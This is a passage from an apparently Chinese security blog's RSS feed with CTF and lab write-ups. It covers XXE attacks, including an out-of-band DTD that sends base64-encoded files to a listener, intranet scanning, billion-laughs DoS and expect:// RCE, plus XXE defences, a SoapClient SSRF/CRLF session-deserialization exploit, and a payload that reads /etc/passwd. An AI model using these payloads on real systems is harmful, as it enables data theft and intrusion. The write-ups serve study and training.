下面这种是带回显的，不过一般真实环境中是不大可能存在这种情况的！&lt;br&gt;
结果如图：&lt;br&gt;
&lt;img alt=&quot;-w532&quot; src=&quot;/api/download/15504909005608.jpg&quot;&gt;&lt;br&gt;
但是要注意的是，读取的文件内容里面不能含xml结构的字符类似于“&amp;lt;&amp;gt;&amp;amp;”等等。如果非要存在的话，就需要用参数实体，结合&lt;code&gt;CDATA&lt;/code&gt;构造&lt;code&gt;&amp;lt;![CDATA[文件内容]]&amp;gt;&lt;/code&gt;就能避免解析异常。&lt;br&gt;
接下来这个是要借助外部实体和DTD，&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;# xml.php
&amp;lt;?php
    libxml_disable_entity_loader (false);
    $xmlfile = &amp;lt;&amp;lt;&amp;lt;EOF
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt; 
&amp;lt;!DOCTYPE test [  
&amp;lt;!ENTITY % remote SYSTEM &quot;http://localhost/evil.dtd&quot;&amp;gt; 
%remote;%msg;%send;
]&amp;gt; 
EOF;
    $dom = new DOMDocument();
    $dom-&amp;gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;逻辑就是，在&lt;code&gt;xml.php&lt;/code&gt;创建一个参数实体，“&lt;code&gt;include&lt;/code&gt;”一个dtd文件，dtd文件里面有两个参数实体，一个是将file协议读出来的进行base64编码，一个是通过get请求发送到我们监听了2333端口的vps&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;# evil.dtd

&amp;lt;!ENTITY % file SYSTEM &quot;php://filter/read=convert.base64-encode/resource=file:///Users/0akarma/Downloads/xxe.txt&quot;&amp;gt;
&amp;lt;!ENTITY % msg &quot;&amp;lt;!ENTITY &amp;amp;#x25; send SYSTEM &#x27;http://ip:2333?p=%file;&#x27;&amp;gt;&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;在我们监听的vps上，就能收到带上我们读取内容的请求了。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;# nc -lvp 2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 223.73.***.***.
Ncat: Connection from 223.73.***.***:5762.
GET /?p=VGhpcyBpcyB4eDxlLnR4dC4= HTTP/1.0
Host: ip
Connection: close&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;intranet-host-discoverhttp&quot;&gt;Intranet host discover(HTTP)&lt;/h3&gt;
&lt;p&gt;在CTF题中通常遇到这种情况一般要么给提示是内网题，要么就自己知道&lt;code&gt;Linux一切皆文件&lt;/code&gt;这个特性，通过file协议去读取一些配置信息，如&lt;code&gt;/proc/net/arp&lt;/code&gt;查看本机ARP缓存，&lt;code&gt;/proc/self/environ&lt;/code&gt;查看环境变量……&lt;br&gt;
如果能直接读当然是最好了，如果读不了，那就应该是根据出题人提示，然后靠脚本去爆破了～&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;root@6808533b3349:/var/www/html# cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.19.0.5       0x1         0x2         02:42:ac:13:00:05     *        eth0
172.19.0.8       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.6       0x1         0x2         02:42:ac:13:00:06     *        eth0
172.19.0.9       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.7       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.1       0x1         0x2         02:42:6d:59:af:db     *        eth0
172.19.0.4       0x1         0x2         02:42:ac:13:00:04     *        eth0
172.19.0.2       0x1         0x2         02:42:ac:13:00:02     *        eth0&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;用arp缓存检验一下脚本结果。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;~/Downloads python &lt;a href=&quot;http://hostdiscover.py&quot; rel=&quot;nofollow&quot;&gt;hostdiscover.py&lt;/a&gt;
172.19.0.1
b&#x27;&#x27;
172.19.0.2
b&#x27;\n\n&amp;lt;!DOCTYPE html&amp;gt;\n&amp;lt;html&amp;gt;\n&amp;lt;head&amp;gt;\n\n    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;\n    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot;&amp;gt;\n    \n    \n    &amp;lt;meta name=&quot;keywords&quot;  content=&quot;Blog,\xe5\x8d\x9a\xe5\xae\xa2,InforSec&quot; /&amp;gt;\n    &amp;lt;meta name=&quot;description&quot; content=&quot;Stay hungry, stay foolish.&quot; /&amp;gt;\n    &amp;lt;meta name=&quot;Author&quot; content=&quot;&quot; =&quot;0aKarmA@\xe9\xaa\x85\xe6\x96\x87&quot;&amp;gt;\n    \n    &amp;lt;title&amp;gt;0aKarmA\&#x27;s Blog @ D0g3&amp;lt;/title&amp;gt;
172.19.0.3
b&#x27;&#x27;
172.19.0.4
b&#x27;&amp;lt;!doctype html&amp;gt;\n&amp;lt;html&amp;gt;\n&amp;lt;head&amp;gt;\n&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;\n&amp;lt;title&amp;gt;\xe6\x81\xad\xe5\x96\x9c\xef\xbc\x8c\xe7\xab\x99\xe7\x82\xb9\xe5\x88\x9b\xe5\xbb\xba\xe6\x88\x90\xe5\x8a\x9f\xef\xbc\x81&amp;lt;/title&amp;gt;\n&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;//&lt;a href=&quot;http://cdn.bootcss.com/bootstrap/3.3.4/css/bootstrap.min.css&quot; rel=&quot;nofollow&quot;&gt;cdn.bootcss.com/bootstrap/3.3.4/css/bootstrap.min.css&lt;/a&gt;&quot;&amp;gt;\n&amp;lt;script src=&quot;//&lt;a href=&quot;http://cdn.bootcss.com/jquery/1.11.2/jquery.min.js&quot; rel=&quot;nofollow&quot;&gt;cdn.bootcss.com/jquery/1.11.2/jquery.min.js&lt;/a&gt;&quot;&amp;gt;&amp;lt;/script&amp;gt;\n
172.19.0.5
b&#x27;&#x27;
172.19.0.6
b&#x27;&#x27;
172.19.0.7
b&#x27;&#x27;
172.19.0.8
b&#x27;&amp;lt;!DOCTYPE HTML&amp;gt;&amp;lt;html lang=\&#x27;en\&#x27; dir=\&#x27;ltr\&#x27;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&amp;lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot; /&amp;gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex,nofollow&quot; /&amp;gt;&amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=Edge&quot; /&amp;gt;&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;&amp;lt;style id=&quot;cfs-style&quot;&amp;gt;html{display: none;}&amp;lt;/style&amp;gt;&amp;lt;link rel=&quot;icon&quot; href=&quot;favicon.ico&quot; type=&quot;image/x-icon&quot; /&amp;gt;&amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;favicon.ico&quot; type=&quot;image/x-icon&quot; /&amp;gt;
172.19.0.9
b&#x27;&#x27;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;附上脚本&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;#coding:utf-8
import requests
import base64


url = &#x27;http://ip/xml.php&#x27;

for i in range(1,10):
    host = &#x27;172.19.0.&#x27; + str(i)
    payload = &#x27;php://filter/convert.base64-encode/resource=http://&#x27; + host

    xml = &#x27;&#x27;&#x27;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt; \r
    &amp;lt;!DOCTYPE test [  \r
    &amp;lt;!ENTITY remote SYSTEM &quot;{}&quot;&amp;gt;]&amp;gt;\r
    &amp;lt;test&amp;gt;&amp;amp;remote;&amp;lt;/test&amp;gt;\r
    &#x27;&#x27;&#x27;.format(payload)

    print(host)

    rq = &lt;a href=&quot;http://requests.post&quot; rel=&quot;nofollow&quot;&gt;requests.post&lt;/a&gt;(url, data=xml).text
    rq = rq.split(&#x27;\n&#x27;)[-2]
    print(base64.b64decode(rq))&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;intranet-host-ports-discoverhttp&quot;&gt;Intranet host-ports discover(HTTP)&lt;/h3&gt;
&lt;p&gt;经过上一Part的操作，已经知道存活的主机有哪些，那么接下来只需用burp或者脚本去爆破主机开放了哪些端口。&lt;/p&gt;
&lt;h3 id=&quot;dos-attack&quot;&gt;DOS Attack&lt;/h3&gt;
&lt;p&gt;The famous &lt;a href=&quot;https://en.wikipedia.org/wiki/Billion_laughs&quot; rel=&quot;nofollow&quot;&gt;billion laughs&lt;/a&gt; attack&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE lolz [
 &amp;lt;!ENTITY lol &quot;lol&quot;&amp;gt;
 &amp;lt;!ELEMENT lolz (#PCDATA)&amp;gt;
 &amp;lt;!ENTITY lol1 &quot;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&quot;&amp;gt;
 &amp;lt;!ENTITY lol2 &quot;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&quot;&amp;gt;
 &amp;lt;!ENTITY lol3 &quot;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&quot;&amp;gt;
 &amp;lt;!ENTITY lol4 &quot;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&quot;&amp;gt;
 &amp;lt;!ENTITY lol5 &quot;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&quot;&amp;gt;
 &amp;lt;!ENTITY lol6 &quot;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&quot;&amp;gt;
 &amp;lt;!ENTITY lol7 &quot;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&quot;&amp;gt;
 &amp;lt;!ENTITY lol8 &quot;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&quot;&amp;gt;
 &amp;lt;!ENTITY lol9 &quot;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&quot;&amp;gt;
]&amp;gt;
&amp;lt;lolz&amp;gt;&amp;amp;lol9;&amp;lt;/lolz&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;一般XML解析器解析XML文档时一般都会存储在内存中，所以当递归创建实体，把服务器内存空间占用尽时，就造成了dos攻击。&lt;/p&gt;
&lt;h3 id=&quot;rce-through-php-expect-wrapper&quot;&gt;RCE through php expect:// wrapper&lt;/h3&gt;
&lt;p&gt;这是PHP的一个拓展，默认未开启。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;lt;!DOCTYPE root[&amp;lt;!ENTITY cmd SYSTEM &quot;expect://whoami&quot;&amp;gt;]&amp;gt;
&amp;lt;file&amp;gt;&amp;amp;cmd;&amp;lt;/file&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;defend-xxe-attack&quot;&gt;Defend XXE Attack&lt;/h2&gt;
&lt;p&gt;通过官方的方法解决：&lt;/p&gt;
&lt;p&gt;PHP&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;libxml_disable_entity_loader(true);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;JAVA&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature(&quot;&lt;a href=&quot;http://apache.org/xml/features/disallow-doctype-decl&quot; rel=&quot;nofollow&quot;&gt;http://apache.org/xml/features/disallow-doctype-decl&lt;/a&gt;&quot;,true);

.setFeature(&quot;&lt;a href=&quot;http://xml.org/sax/features/external-general-entities&quot; rel=&quot;nofollow&quot;&gt;http://xml.org/sax/features/external-general-entities&lt;/a&gt;&quot;,false)

.setFeature(&quot;&lt;a href=&quot;http://xml.org/sax/features/external-parameter-entities&quot; rel=&quot;nofollow&quot;&gt;http://xml.org/sax/features/external-parameter-entities&lt;/a&gt;&quot;,false);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Python&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;手动黑名单过滤（不推荐）&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE、&amp;lt;!ENTITY SYSTEM、PUBLIC&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;之前刷CTF题，好多都是有XXE考点的，总算有时间总结一波，夯实一下基础。&lt;/p&gt;
&lt;h2 id=&quot;reference&quot;&gt;Reference&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/3357&quot; rel=&quot;nofollow&quot;&gt;一篇文章带你深入理解漏洞之 XXE 漏洞&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/r00tuser/p/7255939.html&quot; rel=&quot;nofollow&quot;&gt;漏洞的学习与利用总结&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Fri, 15 Feb 2019 03:20:45 +0800</pubDate>
  </item>
  <item>
    <title>
      LCTF 2018 马后炮分析
    </title>
    <link>https://www.0akarma.com/lctf-2018
.html</link>
    <description>&lt;h2 id=&quot;babyphps-revenge&quot;&gt;babyphp&#x27;s revenge&lt;/h2&gt;
&lt;h3 id=&quot;information-collection&quot;&gt;information collection&lt;/h3&gt;
&lt;p&gt;index.php&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
highlight_file(__FILE__);
$b = &#x27;implode&#x27;;
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),&#x27;welcome_to_the_lctf2018&#x27;);
call_user_func($b,$a);
?&amp;gt;
array(0) { }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;扫一下目录发现flag.php，然鹅并没有发现怎么知道如下源码的。。（看样子是hint）&lt;br&gt;
flag.php&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;session_start();
echo &#x27;only localhost can get flag!&#x27;;
$flag = &#x27;LCTF{*************************}&#x27;;
if($_SERVER[&quot;REMOTE_ADDR&quot;]===&quot;127.0.0.1&quot;){
       $_SESSION[&#x27;flag&#x27;] = $flag;
   }
only localhost can get flag!&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;solution&quot;&gt;solution&lt;/h3&gt;
&lt;p&gt;1.由第一个&lt;code&gt;call_user_func&lt;/code&gt;后面的post变量，猜测可以用到变量覆盖&lt;br&gt;
2.由index.php可知session[name]可控&lt;br&gt;
3.由flag.php可知，要把flag写进session，就需要本地访问，可以想到ssrf。&lt;/p&gt;
&lt;p&gt;一开始跟小伙伴们一起复现这道题，死活写不进flag，调试了一下午，发现要么就是php引擎变量覆盖不了，要么就是soap拓展没装好～缺一不可～&lt;/p&gt;
&lt;h4 id=&quot;_1&quot;&gt;变量覆盖&lt;/h4&gt;
&lt;p&gt;php的session序列化引擎有3个&lt;br&gt;
&lt;em&gt; php_binary：存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 like:&lt;code&gt;name:6:&quot;KarmA&quot;;&lt;/code&gt;&lt;br&gt;
&lt;/em&gt; php(默认)：存储方式是，键名+竖线+经过serialize()函数序列处理的值 like:&lt;code&gt;name|s:6:&quot;KarmA&quot;;&lt;/code&gt;&lt;br&gt;
* php_serialize(php&amp;gt;5.5.4):存储方式是，经过serialize()函数序列化处理的值  like:&lt;code&gt;a:1:{s:4:&quot;name&quot;;s:6:&quot;KarmA&quot;;}&lt;/code&gt;&lt;br&gt;
正常情况下如果需要修改为其他引擎，需要添加代码&lt;code&gt;ini_set(&#x27;session.serialize_handler&#x27;, &#x27;需要设置的引擎&#x27;);&lt;/code&gt;但是，从php7开始可以通过参数来设置，所以这道题需要通过post来改变引擎&lt;code&gt;session.serialize_handler=php_serialize&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.spoock.com/2016/10/16/php-serialize-problem/&quot; rel=&quot;nofollow&quot;&gt;PHP中SESSION反序列化机制&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;soapclient&quot;&gt;SoapClient&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;public __call ( string $function_name , array $arguments ) : mixed&lt;br&gt;
public __construct ( mixed $wsdl [, array $options ] )&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;利用这个类的&lt;code&gt;__call&lt;/code&gt;方法，我们可以进行ssrf，因为当&lt;code&gt;soapclient()&lt;/code&gt;第一个参数为&lt;code&gt;null&lt;/code&gt;时是&lt;code&gt;非wsdl模式&lt;/code&gt;，意味着会对第二个参数进行http请求。&lt;/p&gt;
&lt;h4 id=&quot;crlf&quot;&gt;CRLF&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;CRLF配合SoapClient，我们可以伪造cookie，在ssrf时带上我们的cookie，不然，flag是无法写入我们的session里面的。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;~/Downloads nc -l 6666
POST / HTTP/1.1
Host: localhost:6666
Connection: Keep-Alive
User-Agent: KarmA
Cookie: PHPSESSID=KarmA

Content-Type: text/xml; charset=utf-8
SOAPAction: &quot;demo#ff&quot;
Content-Length: 366

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&quot;&lt;a href=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; rel=&quot;nofollow&quot;&gt;http://schemas.xmlsoap.org/soap/envelope/&lt;/a&gt;&quot; xmlns:ns1=&quot;demo&quot; xmlns:xsd=&quot;&lt;a href=&quot;http://www.w3.org/2001/XMLSchema&quot; rel=&quot;nofollow&quot;&gt;http://www.w3.org/2001/XMLSchema&lt;/a&gt;&quot; xmlns:SOAP-ENC=&quot;&lt;a href=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot; rel=&quot;nofollow&quot;&gt;http://schemas.xmlsoap.org/soap/encoding/&lt;/a&gt;&quot; SOAP-ENV:encodingStyle=&quot;&lt;a href=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot; rel=&quot;nofollow&quot;&gt;http://schemas.xmlsoap.org/soap/encoding/&lt;/a&gt;&quot;&amp;gt;&amp;lt;SOAP-ENV:Body&amp;gt;&amp;lt;ns1:ff/&amp;gt;&amp;lt;/SOAP-ENV:Body&amp;gt;&amp;lt;/SOAP-ENV:Envelope&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;exploit&quot;&gt;exploit&lt;/h4&gt;
&lt;p&gt;本地构造php引擎序列化数据&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
$target=&#x27;http://127.0.0.1/flag.php&#x27;;
$b = new SoapClient(null,array(&#x27;location&#x27; =&amp;gt; $target,
                               &#x27;user_agent&#x27; =&amp;gt; &quot;AAA:BBB\r\n&quot; .
                                             &quot;Cookie:PHPSESSID=KarmA&quot;,
                               &#x27;uri&#x27; =&amp;gt; &quot;http://127.0.0.1/&quot;));

$se = serialize($b); 
echo urlencode($se);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;第一次post请求&lt;br&gt;
&lt;code&gt;GET&lt;/code&gt; -&amp;gt; f=session_start&amp;amp;name=&lt;code&gt;|&lt;/code&gt; + &lt;code&gt;seralize data&lt;/code&gt;&lt;br&gt;
&lt;code&gt;POST&lt;/code&gt; -&amp;gt; serialize_handler=php_serialize&lt;br&gt;
&lt;img alt=&quot;-w828&quot; src=&quot;/api/download/15499591811287.jpg&quot;&gt;&lt;br&gt;
第二次post请求&lt;br&gt;
&lt;code&gt;GET&lt;/code&gt; -&amp;gt; f=extract&amp;amp;name=&lt;code&gt;随意&lt;/code&gt;&lt;br&gt;
&lt;code&gt;POST&lt;/code&gt; -&amp;gt; b=call_user_func&lt;br&gt;
&lt;img alt=&quot;-w828&quot; src=&quot;/api/download/15499592158617.jpg&quot;&gt;&lt;br&gt;
再次刷新一下页面，就会发现flag已经写入session中了。&lt;br&gt;
&lt;img alt=&quot;-w828&quot; src=&quot;/api/download/15499599478242.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;反序列化结合ssrf，这道题的思路让人大开眼界～还学会了不少骚操作～&lt;br&gt;
&lt;a href=&quot;https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/&quot; rel=&quot;nofollow&quot;&gt;mochazz师傅&lt;/a&gt;这张题解思路图简洁明了。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15499605478731.png&quot;&gt;&lt;/p&gt;</description>
    <pubDate>Mon, 11 Feb 2019 03:08:22 +0800</pubDate>
  </item>
  <item>
    <title>
      FireShell CTF 2019 马后炮分析
    </title>
    <link>https://www.0akarma.com/fireshell-2019.html</link>
    <description>&lt;h2 id=&quot;vice&quot;&gt;Vice&lt;/h2&gt;
&lt;h3 id=&quot;source-code&quot;&gt;Source code&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15487562856215.jpg&quot;&gt;&lt;br&gt;
看到了&lt;code&gt;__construct&lt;/code&gt; 和 &lt;code&gt;__destruct&lt;/code&gt;就想到了反序列化；看到了curl，就想到了ssrf。应该就是反序列化结合ssrf读flag的考点了。&lt;/p&gt;
&lt;h3 id=&quot;trying-to-unserialize&quot;&gt;Trying to unserialize&lt;/h3&gt;
&lt;p&gt;首先测试一下反序列化配合ssrf的file协议，看看常规操作能不能读取文件。&lt;br&gt;
首先根据源码，自己写php，将变量序列化输出&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php

class SHITS{
    private $url;
    private $method;
    private $addr;
    private $host;
    private $name;
    function __construct(){
        $this-&amp;gt;method = &#x27;doit&#x27;;
        $this-&amp;gt;url = &#x27;file:///etc/passwd&#x27;;
    }
}
$test = new SHITS();
$a = serialize($test);
echo $a ;
echo &quot;&amp;lt;br&amp;gt;&quot;;
echo urlencode($a);
?&amp;gt;
/* 
输出：
O:5:&quot;SHITS&quot;:5:{s:10:&quot;SHITSurl&quot;;s:18:&quot;file:///etc/passwd&quot;;s:13:&quot;SHITSmethod&quot;;s:4:&quot;doit&quot;;s:11:&quot;SHITSaddr&quot;;N;s:11:&quot;SHITShost&quot;;N;s:11:&quot;SHITSname&quot;;N;}
O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A18%3A%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
*/&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;可以发现，能成功读取&lt;code&gt;/etc/passwd&lt;/code&gt;&lt;br&gt;
&lt;img alt=&quot;-w1581&quot; src=&quot;/api/download/15487706021443.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里有一个坑就是，在线url编码的并不能成功读取文件，php里面urlencode()函数编码的就可以成功读取，但是两者url解码结果是一样的。。后来通过“一起来找茬”发现，urlencode()多了&#x27;%00&#x27;这个东东，填坑！&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;trying-to-read-flag&quot;&gt;Trying to read flag&lt;/h3&gt;
&lt;p&gt;既然能通过file协议读取文件，下一步之需要把flag的目录找到就可以了。但是也没说flag在哪个文件～所以首先尝试读一下源码里的&lt;code&gt;config.php&lt;/code&gt;，手动遍历网站目录，得到&lt;code&gt;/var/www/html&lt;/code&gt;，接下来就要考虑如何绕过限制了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;strpos()有一个&lt;a href=&quot;https://bugs.php.net/bug.php?id=76671&amp;amp;edit=1&quot; rel=&quot;nofollow&quot;&gt;bug&lt;/a&gt;，可以通过二次编码来绕过，&lt;code&gt;.&lt;/code&gt;可以用%2e来代替。&lt;br&gt;
而且curl可以自动对url进行解码，配合起来即可。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;if($this-&amp;gt;addr !== &quot;127.0.0.1&quot; || $this-&amp;gt;name === false){
      $not = [&#x27;.txt&#x27;,&#x27;.php&#x27;,&#x27;.xml&#x27;,&#x27;.html&#x27;,&#x27;.&#x27;,&#x27;[&#x27;,&#x27;]&#x27;];
      foreach($not as $ext){
        $p = strpos($this-&amp;gt;url,$ext);
        if($p){
          die(&quot;:)&quot;);
        }
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Bingo...&lt;br&gt;
&lt;img alt=&quot;-w1582&quot; src=&quot;media/15487462040069/15487705357348.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;reference&quot;&gt;Reference&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20deserialization/PHP.md&quot; rel=&quot;nofollow&quot;&gt;PHP Object injection&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Tue, 29 Jan 2019 07:16:44 +0800</pubDate>
  </item>
  <item>
    <title>
      Exploitation Of 0ak 
    </title>
    <link>https://www.0akarma.com/0ak-blog.html</link>
    <description>&lt;h2 id=&quot;0x01-make-a-plan&quot;&gt;0x01 Make a plan&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;0ak&quot; src=&quot;/api/download/0ak.jpg&quot;&gt;&lt;br&gt;
一开始只想了前端的计划，后端并没有仔细构思，导致后期开发的时候bug不断～～所以以后开发的时候，一定要记得先构思好框架再下手～～不然调bug会调崩溃～&lt;/p&gt;
&lt;p&gt;博客叫 &lt;code&gt;0ak&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The oak is a living legend representing all that is true, wholesome, stable, and noble. When you are in need of stability and strength in your life – envision the oak in your minds eye. Picture yourself drawing into its endless energy waves. Soon, you will find yourself sharing in its power.&lt;/p&gt;
&lt;/blockquote&gt;
